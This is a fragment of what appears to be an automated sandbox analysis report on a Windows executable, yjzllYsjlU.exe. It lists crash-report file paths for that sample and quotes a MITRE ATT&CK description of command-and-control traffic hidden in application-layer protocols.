C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_skotes.exe_1a335e5a41ca67f8c458c244e983f207da8cbdd_360c380b_58748952-2293-4572-925d-4136e590bc4d\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_skotes.exe_1a335e5a41ca67f8c458c244e983f207da8cbdd_360c380b_cce11016-84c2-4d24-afb7-19932148b3a7\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_skotes.exe_1a335e5a41ca67f8c458c244e983f207da8cbdd_360c380b_de1dae57-bcbb-45b1-aa27-18a1e1f22305\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_skotes.exe_b230dc6fc163fdde8365dc55937a5169439a2_360c380b_6dcdc8c6-df7e-46a7-9ca7-325d7431e179\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yjzllYsjlU.exe_1dfe3e94b198917810753298a9aa7445bcd8db4_8cd1c366_29b34a38-39c1-4b0b-8701-b141403d475f\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yjzllYsjlU.exe_4363f676aae74bac2ea5a449ac7ab892edc3967c_8cd1c366_09477d72-c3db-4fb9-94d5-24870ab915c0\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yjzllYsjlU.exe_4363f676aae74bac2ea5a449ac7ab892edc3967c_8cd1c366_0ed18c80-650a-4e2f-9ac8-a6bb4143fdd0\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yjzllYsjlU.exe_4363f676aae74bac2ea5a449ac7ab892edc3967c_8cd1c366_2d546be1-8b6d-4947-8971-64529febfbcf\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yjzllYsjlU.exe_4363f676aae74bac2ea5a449ac7ab892edc3967c_8cd1c366_38f69cbd-7ca2-4799-b432-e6ed18fd5571\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yjzllYsjlU.exe_4363f676aae74bac2ea5a449ac7ab892edc3967c_8cd1c366_3cf51925-8aa6-4c17-bb4b-fc367a41256b\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yjzllYsjlU.exe_4363f676aae74bac2ea5a449ac7ab892edc3967c_8cd1c366_9a9818d2-3f10-4581-ad2e-918f8f2edefd\Report.wer

Windows Analysis Report
yjzllYsjlU.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre